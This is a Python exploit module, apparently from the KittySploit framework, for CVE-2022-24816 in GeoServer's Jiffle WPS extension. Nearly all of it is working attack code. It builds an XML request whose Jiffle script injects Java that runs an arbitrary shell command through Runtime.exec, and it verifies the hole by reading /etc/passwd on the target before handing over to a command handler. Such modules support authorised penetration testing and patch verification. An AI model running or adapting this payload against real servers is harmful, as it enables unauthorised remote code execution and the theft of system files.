GeoServer Jiffle WPS RCE (CVE-2022-24816)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""GeoServer Jiffle/Janino WPS RCE (CVE-2022-24816)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'GeoServer Jiffle WPS RCE (CVE-2022-24816)',
        'description': (
            'Exploits CVE-2022-24816 in GeoServer via WPS ras:Jiffle: malicious Jiffle '
            'script is compiled through Janino into Java for remote code execution.'
        ),
        'author': ['KittySploit Team', 'Synacktiv'],
        'cve': ['CVE-2022-24816'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2022-24816',
            'https://www.synacktiv.com/en/publications/exploiting-cve-2022-24816-a-code-injection-in-the-jt-jiffle-extension-of-geoserver.html',
        ],
        'tags': ['geoserver', 'wps', 'jiffle', 'rce', 'kev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2022_24816_detect'],
            },
        },
    }

    wms_path = OptString('/geoserver/wms', 'GeoServer WMS/WPS endpoint', required=False)

    def _jiffle_xml(self, cmd: str) -> str:
        safe = str(cmd).replace('"', '\\"')
        jiffle = (
            'dest = y() - (500); // */ public class Double {'
            '    public static double NaN = 0;'
            '  static { try {'
            '  java.io.BufferedReader reader = new java.io.BufferedReader('
            'new java.io.InputStreamReader('
            f'java.lang.Runtime.getRuntime().exec("{safe}").getInputStream()));'
            ' String line = null; String allLines = " - ";'
            ' while ((line = reader.readLine()) != null) { allLines += line; }'
            ' throw new RuntimeException(allLines);'
            '} catch (java.io.IOException e) {} }} /**'
        )
        return f'''<?xml version="1.0" encoding="UTF-8"?>
<wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs"
 xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1"
 xmlns:gml="http://www.opengis.net/gml" xmlns:ogc="http://www.opengis.net/ogc"
 xmlns:wcs="http://www.opengis.net/wcs/1.1.1" xmlns:xlink="http://www.w3.org/1999/xlink"
 xsi:schemaLocation="http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd">
  <ows:Identifier>ras:Jiffle</ows:Identifier>
  <wps:DataInputs>
    <wps:Input>
      <ows:Identifier>coverage</ows:Identifier>
      <wps:Data>
        <wps:ComplexData mimeType="application/arcgrid"><![CDATA[ncols 720 nrows 360 xllcorner -180 yllcorner -90 cellsize 0.5 NODATA_value -9999  316]]></wps:ComplexData>
      </wps:Data>
    </wps:Input>
    <wps:Input>
      <ows:Identifier>script</ows:Identifier>
      <wps:Data>
        <wps:LiteralData>{jiffle}</wps:LiteralData>
      </wps:Data>
    </wps:Input>
    <wps:Input>
      <ows:Identifier>outputType</ows:Identifier>
      <wps:Data>
        <wps:LiteralData>DOUBLE</wps:LiteralData>
      </wps:Data>
    </wps:Input>
  </wps:DataInputs>
  <wps:ResponseForm>
    <wps:RawDataOutput mimeType="image/tiff">
      <ows:Identifier>result</ows:Identifier>
    </wps:RawDataOutput>
  </wps:ResponseForm>
</wps:Execute>'''

    def execute(self, cmd: str) -> str:
        path = str(self.wms_path or '/geoserver/wms').strip()
        r = self.http_request(
            method='POST',
            path=path,
            data=self._jiffle_xml(cmd),
            headers={'Content-Type': 'application/xml'},
            allow_redirects=False,
        )
        if not r:
            return ''
        return r.text or ''

    def check(self):
        body = self.execute('cat /etc/passwd')
        if re.search(r'root:.*:0:0:', body or '') or 'ExceptionInInitializerError' in (body or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2022-24816 Jiffle RCE confirmed',
                'confidence': 'high',
            }
        return {'vulnerable': False, 'reason': 'No RCE indicators in WPS response', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()